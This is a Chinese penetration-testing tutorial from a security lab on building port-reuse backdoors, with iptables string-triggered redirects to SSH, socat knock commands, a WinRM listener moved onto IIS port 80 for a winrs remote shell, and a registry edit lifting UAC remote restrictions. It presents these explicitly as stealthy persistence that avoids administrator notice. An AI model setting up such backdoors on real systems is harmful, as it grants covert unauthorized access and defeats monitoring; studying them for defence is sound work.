一文打尽 Linux/Windows端口复用实战
出品|MS08067实验室(www.ms08067.com)
本文作者:Spark(Ms08067内网安全小组成员)
定义:端口复用是指不同的应用程序使用相同端口进行通讯。
场景:内网渗透中,搭建隧道时,服务器仅允许指定的端口对外开放。利用端口复用可以将3389或22等端口转发到如80端口上,以便外部连接。
示意图:

功能:
- 端口复用可以更好地隐蔽攻击行为,提高生存几率。
- 端口复用有时也用作通道后门。
特点:
- 端口复用在系统已开放的端口上进行通讯,只对输入的信息进行字符匹配,不对网络数据进行任何拦截、复制类操作,所以对网络数据的传输性能几乎没有影响。
一、Linux端口复用
1.概述
使用iptables实现端口复用,使用socat进行连接。
使用该方法开启的端口复用为有限的端口复用,复用后端口正常业务会受影响,仅用于后门留存,或者临时使用,不建议长期使用。
2.原理
(1) iptables
iptables是linux下的防火墙管理工具。
- 真正实现防火墙功能的是netfilter,它是linux内核中实现包过滤的核心。
- 免费。
- 可实现封包过滤、封包重定向和网路地址转换(NAT)等功能。
(2) 数据通过防火墙流程

(3) 链
链是一些按顺序排列的规则的列表。
- PREROUTING链——对数据包作路由选择前应用此链中的规则(所有的数据包进来的时侯都先由这个链处理)
- INPUT链——进来的数据包应用此规则链中的策略
- OUTPUT链——外出的数据包应用此规则链中的策略
- FORWARD链——转发数据包时应用此规则链中的策略
- POSTROUTING链——对数据包作路由选择后应用此链中的规则(所有的数据包出来的时侯都先由这个链处理)
(4) 表
表由一组预先定义的链组成。
- filter表——用于存放所有与防火墙相关操作的默认表。通常用于过滤数据包。
- nat表——用于网络地址转换
- mangle表——用于处理数据包
- raw表——用于配置数据包,raw 中的数据包不会被系统跟踪。
(5) 链和表的关系及顺序
- PREROUTING: raw -> mangle -> nat
- INPUT: mangle -> filter
- FORWARD: mangle -> filter
- OUTPUT: raw -> mangle -> nat -> filter
- POSTROUTING: mangle -> nat
(6) 表和链的关系
实际使用中是从表作为操作入口:
- raw 表:PREROUTING,OUTPUT
- mangle表:PREROUTING,INPUT,FORWARD,OUTPUT,POSTROUTING
- nat 表:PREROUTING,OUTPUT,POSTROUTING
- filter 表:INPUT,FORWARD,OUTPUT
(7) 添加规则
iptables ‐t 表名 <‐A/I/D/R> 规则链名 [规则号] <‐i/o 网卡名> ‐p 协议名 <‐s 源ip、源子网> ‐‐sport 源端口 <‐d 目标ip/目标子网> ‐‐dport 目标端口 ‐j 动作
(8) socat
Socat是linux下的一个多功能的网络工具,名字来由是socket cat。其功能与netcat类似,可以看做是netcat的加强版。
3.指令速查
(1) 配置端口复用及开关规则
- 目标主机上创建新转发链
- 设置复用规则(设置转发规则)
- 设置开关规则(接受约定字符后规则生效/失效)
- 约定字符尽量复杂
# 新建端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# 开启端口复用
iptables -t nat -A PREROUTING -p tcp --dport 8000 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
(2) 使用socat连接
使用socat发送约定口令至目标主机打开端口复用开关
echo threathuntercoming | socat ‐ tcp:192.168.245.135:8000
使用完毕后,发送约定关闭口令至目标主机目标端口关闭端口复用
echo threathunterleaving | socat ‐ tcp:192.168.245.135:8000
4.实验
- Target:Ubuntu 16.04 x64
- IP:192.168.245.135
- 开启8000端口的web服务
- 开启22端口

配置端口复用:

- Attacker:Kali 2020 x64
- IP:192.168.245.130
使用socat连接:

此时ssh可以通过8000访问,但是8000端口的正常web业务受到影响:

使用socat断开连接,ssh无法再连接,但是8000端口回复正常:

5.参考链接
二、Windows端口复用
1.概述
使用HTTP.sys中的Net.tcp Port Sharing服务,配合WinRM实现端口复用。
- 优点:HTTP.sys为windows原生机制,WinRM为windows自带功能,动作较小,不易触发主动防御。
- 需要管理员权限。
2.原理
(1) HTTP.sys
HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序。
- 为了优化IIS服务器性能
- 从IIS6.0引入(即Windows Server 2003及以上版本)
- IIS服务进程依赖HTTP.sys
HTTP.sys监听HTTP流量,然后根据URL注册的情况去分发,以实现多个进程在同一个端口监听HTTP流量。微软公开了HTTP Server API库,Httpcfg、Netsh等都是基于它的。

整个过程描述如下:
Step 1.注册:IIS或其他应用使用HTTP Server API时,需要先在HTTP.sys上面注册url prefix,以监听请求路径。
Step 2.路由:HTTP.sys获取到request请求,并分发这个请求给注册当前url对应的应用。
(2) Net.tcp Port Sharing
Net.tcp Port Sharing服务是WCF(Windows Communication Foundation,微软的一个框架)中的一个新系统组件,这个服务会开启Net.tcp端口共享功能以达到在用户的不同进程之间实现端口共享。这个机制的最终是在HTTP.sys中实现的。目前将许多不同HTTP应用程序的流量复用到单个TCP端口上的HTTP.sys模型已经成为windows平台上的标准配置。
在以前的web应用中,一个web应用绑定一个端口,若有其他应用则需要绑定其他的端口才能实现监听。如下图所示,Web Application 1绑定了80端口后,Web Application 2再去绑定80端口会出错。

现在使用微软提供的NET.tcp Port Sharing服务,只要遵循相关的开发接口规则,就可以实现不同的应用共享相同的web服务器端口。如下图中Web Application 1和Web Application 2同时绑定在80端口。

(3) WinRM
WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录windows操作系统,获得一个类似telnet的交互式命令行shell,而底层通讯协议使用的正是HTTP。
事实上,WinRM已经在HTTP.sys上注册了名为wsman的url前缀,默认监听端口5985。因此,在安装了IIS的边界windows服务器上,开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener即可实现端口复用,可以直接通过80端口登录windows服务器。
3.指令速查
查询当前注册url前缀:
netsh http show servicestate
(1) 开启winrm服务
Windows 2012及以上:winrm默认启动并监听了5985端口。
Windows 2008:需要手动启动winrm。
winrm quickconfig ‐q
(2) 增加80端口复用
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
(3) 更改winrm为80端口
- 默认5985端口开启,不需要更改端口。
- 默认5985端口不开启,则更改winrm为80端口,否则会因端口改变而引起管理员关注。
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
(4) 攻击机也需要启动winrm并设置信任连接
# 启动winrm
winrm quickconfig ‐q
# 设置信任主机地址
winrm set winrm/config/Client @{TrustedHosts="*"}
(5) 连接使用winrs命令接口连接远程winrm服务执行命令,并返回结果
winrs,Windows Remote Shell,windows远程shell,是winrm的一个组件。
winrs ‐r:http://www.aabbcc.com ‐u:administrator ‐p:Password [命令]
4.实验
- Target:Windows Server 2008 R2 x64
- IP:192.168.245.133
开启IIS服务。

先看一下当前注册的url前缀:

启动winrm:

再看一下注册的url前缀,发现winrm已注册:

看一下端口情况:

增加80端口复用:

更改winrm为80端口:

再看一下端口情况,发现5985端口已关闭:

- Attacker:Windows Server 2008 R2 x64
- IP:192.168.245.134
启动winrm并设置信任主机地址:

使用winrs远程执行命令:

执行cmd命令可获取交互式shell:

此时IIS的正常服务并未受到影响:

5.提升权限(未亲测)
WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改后,普通管理员登录后也是高权限。

6.Hash登录(未亲测)
系统自带的winrs命令登录时需要使用明文账号密码,那很多场景下尤其是windows 2012以后,经常只能抓取到本地用户的hash,无法轻易获得明文密码。因此需要实现一款支持使用NTLM hash登录的客户端,使用python来实现不难。

7.参考链接


一文打尽 Linux/Windows端口复用实战的更多相关文章
- Linux下端口复用(SO_REUSEADDR与SO_REUSEPORT)
freebsd与linux下bind系统调用小结: 只考虑AF_INET的情况(同一端口指ip地址与端口号都相同) freebsd支持SO_REUSEPORT和SO_REUSEADDR选项,而l ...
- Linux:TCP状态/半关闭/2MSL/端口复用
TCP状态 CLOSED:表示初始状态. LISTEN:该状态表示服务器端的某个SOCKET处于监听状态,可以接受连接. SYN_SENT:这个状态与SYN_RCVD遥相呼应,当客户端SOCKET执行 ...
- windows和Linux查看端口占用进程并关闭
Windows: 以端口8080为例: 1.查找对应的端口占用的进程:netstat -aon|findstr "8080" ,找到占用8080端口对应的程序的PID号: ...
- windows、Linux 开放端口
一.Linux开放端口: 1. CentOS7.x/RedHat7.x , 参考 CentOS7使用firewalld打开关闭防火墙与端口 1.firewalld的基本使用 启动: systemct ...
- [后渗透]Windows server 80端口复用后门
0x01 简介 该后门的基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门. 具体细节信息请参考:https://pap ...
- Linux C++ 网络编程学习系列(1)——端口复用实现
Linux C++ 网络编程学习系列(1)--端口复用实现 源码地址:https://github.com/whuwzp/linuxc/tree/master/portreuse 源码说明: serv ...
- 一文详解 Linux 系统常用监控工一文详解 Linux 系统常用监控工具(top,htop,iotop,iftop)具(top,htop,iotop,iftop)
一文详解 Linux 系统常用监控工具(top,htop,iotop,iftop) 概 述 本文主要记录一下 Linux 系统上一些常用的系统监控工具,非常好用.正所谓磨刀不误砍柴工,花点时间 ...
- Ruby入门--Linux/Windows下的安装、代码开发及Rails实战
Ruby入门--Linux/Windows下的安装.代码开发及Rails实战 http://www.linuxidc.com/Linux/2014-04/100242.htm Ubuntu 13.04 ...
- Win和Linux查看端口和杀死进程
title: Win和Linux查看端口和杀死进程 date: 2017-7-30 tags: null categories: Linux --- 本文介绍Windows和Linux下查看端口和杀死 ...
随机推荐
- Centos7路由设置
再添加路由时,很多时候都是采用命令行用route添加的.但是在机器重启后.就失效了.这里也是参考了几位博主的经验 作出以下记载 一:路由表常用设置 1.route命令路由表常用设置: //添加到主机的 ...
- ASP.NET Core 3.1使用log4net/nlog/Serilog记录日志
Serilog中的结构化日志支持非常好,而且配置简便.我能够比其他任何人更轻松地启动和运行Seirlog.Serilog中的日志可以发送到很多目的地.Serilog称这些东西为"接收器&qu ...
- (三)文件的链接(ln)
一.链接的分类及特点 当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在 其它的目录下用ln命令链接(link ...
- @Autowired 和@Resource区别
二者都可以用在bean的注入时,但是@Autowired是spring提供的注解,而@Resource是javax包中的. 默认情况下,@Autowired注入规则是byType,通过类型注入:当然, ...
- CTF:从0到1 -> zero2one
本篇blog首发0xffff论坛(CTF:从0到1->zero2one - 0xFFFF),中间有各位大佬补充,搬到了个人博客CTF:从0到1 -> zero2one | c10udlnk ...
- 出现org.apache.ibatis.binding.BindingException异常
出现绑定式异常 查看target文件夹里面再mapper中,发现运行时缺少xml文件 解决办法 1.将xml文件复制到target中Mapper文件夹下面. 2.将xml放到resource目录下 3 ...
- 翻译 | 30个 Python3 的最佳实践,技巧和窍门
1.使用 Python3 如果你关注 Python 的话,应该会知道 Python 2 已经于今年(2020 年)1 月 1 日正式弃用了.这份教程的很多例子都是只支持 Python 3 的,如果你还 ...
- vuetify 属性集合
1.v-form 组件具有 three 功能,可以通过在该组件上设置 ref 来访问它们. ref 允许我们访问组件上的内部方法,例如 <v-form ref="form"& ...
- Spark Streaming和Kafka整合是如何保证数据零丢失
转载:https://www.iteblog.com/archives/1591.html 当我们正确地部署好Spark Streaming,我们就可以使用Spark Streaming提供的零数据丢 ...
- 买卖股票的最佳时机 III
给定一个数组,它的第 i 个元素是一支给定的股票在第 i 天的价格. 设计一个算法来计算你所能获取的最大利润.你最多可以完成 两笔 交易. 注意:你不能同时参与多笔交易(你必须在再次购买前出售掉之前的 ...